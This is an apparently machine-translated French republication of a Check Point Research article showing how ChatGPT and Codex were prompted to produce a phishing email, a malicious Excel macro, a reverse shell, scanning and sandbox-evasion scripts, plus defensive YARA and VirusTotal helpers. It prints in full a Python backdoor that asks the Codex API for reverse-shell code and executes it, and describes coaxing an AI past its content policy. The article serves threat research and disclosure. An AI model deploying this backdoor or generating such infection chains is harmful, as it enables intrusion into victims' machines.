OpwnAI : une IA qui peut sauver la situation ou la pirater – Check Point Research

Recherche par : Sharon Ben-Moshe, Gil Gekker, Golan Cohen

Grâce à ChatGPT, la sortie par OpenAI de la nouvelle interface de son Large Language Model (LLM), l’intérêt pour l’IA générale a explosé ces dernières semaines dans les médias et sur les réseaux sociaux. Ce modèle est utilisé dans de nombreuses applications sur le Web et a été salué pour sa capacité à générer du code bien écrit et à faciliter le processus de développement. Cependant, cette nouvelle technologie comporte également des risques. Par exemple, abaisser la barre pour la génération de code peut aider les acteurs de la menace moins qualifiés à lancer sans effort des cyberattaques.

Dans cet article, Check Point Research démontre :

  • Comment les modèles d’intelligence artificielle (IA) peuvent être utilisés pour créer un flux d’infection complet, du harponnage à l’exécution d’un reverse shell
  • Comment les chercheurs ont créé une porte dérobée supplémentaire qui exécute dynamiquement des scripts que l’IA génère à la volée
  • Exemples de l’impact positif d’OpenAI du côté des défenseurs et de la manière dont il peut aider les chercheurs dans leur travail quotidien

Le monde de la cybersécurité évolue rapidement. Il est essentiel de souligner l’importance de rester vigilant sur la façon dont cette technologie nouvelle et en développement peut affecter le paysage des menaces, à la fois pour le meilleur et pour le pire. Bien que cette nouvelle technologie aide les défenseurs, elle abaisse également la barre d’entrée requise pour les acteurs de la menace peu qualifiés pour mener des campagnes de phishing et développer des logiciels malveillants.

De la génération d’images à l’écriture de code, les modèles d’IA ont fait d’énormes progrès dans de multiples domaines, avec le célèbre logiciel AlphaGo battant les meilleurs professionnels du jeu de Go en 2016, et l’amélioration de la reconnaissance vocale et de la traduction automatique qui a amené au monde des assistants virtuels tels que Siri et Alexa qui jouent un rôle majeur dans notre vie quotidienne.
Récemment, l’intérêt du public pour l’IA a augmenté en raison de la sortie de ChatGPT, un prototype de chatbot dont le but est d’aider à un large éventail de tâches et de répondre aux questions au mieux de mes capacités. À moins que vous n’ayez été déconnecté des médias sociaux au cours des dernières semaines, vous avez probablement vu d’innombrables images d’interactions ChatGPT, de l’écriture de poésie à la réponse à des questions de programmation.
Cependant, comme toute technologie, la popularité croissante de ChatGPT comporte également un risque accru. Par exemple, Twitter regorge d’exemples de code malveillant ou de dialogues générés par ChatGPT. Bien qu’OpenAI ait investi d’énormes efforts pour mettre fin aux abus de son IA, elle peut toujours être utilisée pour produire du code dangereux.
Pour illustrer ce point, nous avons décidé d’utiliser ChatGPT et une autre plateforme, OpenAIs Codex, un système basé sur l’IA qui traduit le langage naturel en code, le plus capable en Python mais compétent dans d’autres langages. Nous avons créé un flux d’infection complet et nous nous sommes donné la restriction suivante : nous n’avons pas écrit une seule ligne de code et avons plutôt laissé les IA faire tout le travail. Nous avons seulement assemblé les pièces du puzzle et exécuté l’attaque qui en a résulté.
Nous avons choisi d’illustrer notre propos avec un flux d’exécution unique, un e-mail de phishing avec un fichier Excel malveillant armé de macros qui télécharge un shell inversé (l’un des favoris des acteurs de la cybercriminalité).

Dans un premier temps, nous avons créé un e-mail de phishing plausible. Cela ne peut pas être fait par Codex, qui ne peut que générer du code, nous avons donc demandé à ChatGPT de l’aider et lui avons suggéré de se faire passer pour une société d’hébergement.

Chiffre 1 – E-mail de phishing de base généré par ChatGPT

Notez que bien qu’OpenAI mentionne que ce contenu pourrait violer sa politique de contenu, sa sortie est un bon début. En interagissant plus avant avec ChatGPT, nous pouvons clarifier nos exigences : pour éviter d’héberger une infrastructure de phishing supplémentaire, nous souhaitons que la cible télécharge simplement un document Excel. Demander simplement à ChatGPT d’itérer à nouveau produit un excellent e-mail de phishing :

Chiffre 2 E-mail de phishing généré par ChatGPT

Le processus d’itération est essentiel pour travailler avec le modèle, en particulier pour le code. L’étape suivante, la création du code VBA malveillant dans le document Excel, nécessite également plusieurs itérations.

Voici la première invite :

Chiffre 3 Code VBA simple généré par ChatGPT

Ce code est très naïf et utilise des bibliothèques telles que WinHttpReq. Cependant, après quelques courtes itérations et échanges de vues, ChatGPT produit un meilleur code :

Figure 4 Une autre version du code VBA

Il s’agit toujours d’une macro très basique, mais nous avons décidé de nous arrêter ici car l’obscurcissement et l’affinement du code VBA peuvent être une procédure sans fin. ChatGPT a prouvé qu’avec de bonnes invites textuelles, il peut vous donner du code malveillant fonctionnel.

Armés de la connaissance que ChatGPT peut produire du code malveillant, nous étions curieux de voir ce que Codex, dont le but initial est de traduire le langage naturel en code, peut faire. Dans ce qui suit, tout le code a été écrit par Codex. Nous démontrons intentionnellement les implémentations les plus élémentaires de chaque technique pour illustrer l’idée sans partager trop de code malveillant.

Nous lui avons d’abord demandé de créer un shell inversé de base pour nous, en utilisant une adresse IP et un port d’espace réservé. L’invite est le commentaire au début du bloc de code.

Figure 5 Coque inversée de base générée par le Codex

C’est un bon début, mais ce serait bien s’il y avait des outils malveillants que nous pourrions utiliser pour nous aider avec notre intrusion. Peut-être certains outils d’analyse, tels que vérifier si un service est ouvert à l’injection SQL et à l’analyse des ports ?

Chiffre 6 L’implémentation la plus basique si SQLi est généré par Codex

Figure 7 Script d’analyse de port de base

C’est aussi un bon début, mais nous aimerions également ajouter quelques atténuations pour rendre la vie des défenseurs un peu plus difficile. Pouvons-nous détecter si notre programme s’exécute dans un bac à sable ? La réponse de base fournie par le Codex est ci-dessous. Bien sûr, il peut être amélioré en ajoutant d’autres fournisseurs et des contrôles supplémentaires.

Figure 8 Script de détection de bac à sable de base

On voit qu’on progresse. Cependant, tout cela est du code Python autonome. Même si une IA regroupe ce code pour nous (ce qu’elle peut), nous ne pouvons pas être sûrs que la machine infectée aura un interpréteur. Pour trouver un moyen de le faire fonctionner de manière native sur n’importe quelle machine Windows, la solution la plus simple pourrait être de le compiler dans un exe. Une fois de plus, nos copains IA viennent à notre secours :

Figure 9 Conversion de python en exe

Et juste comme ça, le flux d’infection est terminé. Nous avons créé un e-mail de phishing, avec un document Excel joint contenant du code VBA malveillant qui télécharge un reverse shell sur la machine cible. Le travail acharné a été fait par les IA, et tout ce qui nous reste à faire est d’exécuter l’attaque.

Nous étions curieux de voir jusqu’où va le terrier du lapin. La création des scripts et des modules initiaux est agréable, mais une véritable cyberattaque nécessite de la flexibilité car les besoins des attaquants lors d’une intrusion peuvent changer rapidement en fonction de l’environnement infecté. Pour voir comment nous pouvons tirer parti des capacités des IA pour créer du code à la volée afin de répondre à ce besoin dynamique, nous avons créé le court code Python suivant. Après avoir été compilé sur un PE, l’exe exécute d’abord le shell inversé mentionné précédemment. Ensuite, il attend les commandes avec le -cmd flag et exécute des scripts Python générés à la volée en interrogeant l’API Codex et en lui fournissant une simple invite en anglais.

import os
import sys
import openai
import argparse
import socket
import winreg

openai.api_key = 

parser = argparse.ArgumentParser()
parser.add_argument('-cmd', type=ascii, help='Prompt that will be run on infected machine')
args = parser.parse_args()

def ExecuteReverseShell():
  response = openai.Completion.create(
    model="code-davinci-002",
    prompt="\"\"\"\nExecute reverse shell script on a windows machine and connect to IP address  port .\n\"\"\"",
    temperature=0,
    max_tokens=1000,
    top_p=1,
    frequency_penalty=0,
    presence_penalty=0
  )
  exec(response.choices[0].text)


def ExecutePrompt(prompts):
  response = openai.Completion.create(
    model="code-davinci-002",
    prompt="\"\"\"\n"+prompts+"\n\"\"\"",
    temperature=0,
    max_tokens=1000,
    top_p=1,
    frequency_penalty=0,
    presence_penalty=0
  )
  exec(response.choices[0].text)


if __name__ == '__main__':
  if len(sys.argv) == 1:
    ExecuteReverseShell()
  if args.cmd:
    ExecutePrompt(args.cmd)

Maintenant que nous avons quelques exemples d’exécution du script ci-dessous, nous laissons les vecteurs possibles de développement de ce type d’attaque au lecteur curieux :

Chiffre dix Exécution du code généré à la volée sur la base d’une saisie en anglais

Jusqu’à présent, nous avons présenté la perspective des acteurs de la menace à l’aide des LLM. Pour être clair, la technologie elle-même n’est pas malveillante et peut être utilisée par n’importe quelle partie. Comme les processus d’attaque peuvent être automatisés, il en va de même pour les mesures d’atténuation du côté des défenseurs.

Pour illustrer cela, nous avons demandé à Codex d’écrire deux fonctions Python simples : une qui permet de rechercher des URL dans des fichiers à l’aide du package YARA, et une autre qui interroge VirusTotal sur le nombre de détections d’un hachage spécifique. Même s’il existe de meilleures implémentations open source existantes de ces scripts écrits par la communauté des défenseurs, nous espérons stimuler l’imagination des équipes bleues et des chasseurs de menaces pour qu’ils utilisent les nouveaux LLM pour automatiser et améliorer leur travail.

Chiffre 11 – Requête API VT pour vérifier le nombre de détections pour un hachage

Chiffre 12 – Script Yara qui vérifie quelles chaînes d’URL dans un fichier

Le rôle croissant du LLM et de l’IA dans le cybermonde est plein d’opportunités, mais comporte également des risques. Bien que le code et le flux d’infection présentés dans cet article puissent être défendus à l’aide de procédures simples, il ne s’agit que d’une vitrine élémentaire de l’impact de la recherche sur l’IA sur la cybersécurité. Plusieurs scripts peuvent être générés facilement, avec de légères variations en utilisant différentes formulations. Les processus d’attaque compliqués peuvent également être automatisés, en utilisant les API LLMs pour générer d’autres artefacts malveillants. Les défenseurs et les chasseurs de menaces doivent être vigilants et prudents quant à l’adoption rapide de cette technologie, sinon notre communauté aura un retard sur les attaquants.

www.actusduweb.com
Suivez Actusduweb sur Google News


Ce site utilise des cookies pour améliorer votre expérience. Nous supposerons que cela vous convient, mais vous pouvez vous désinscrire si vous le souhaitez. J'accepte Lire la suite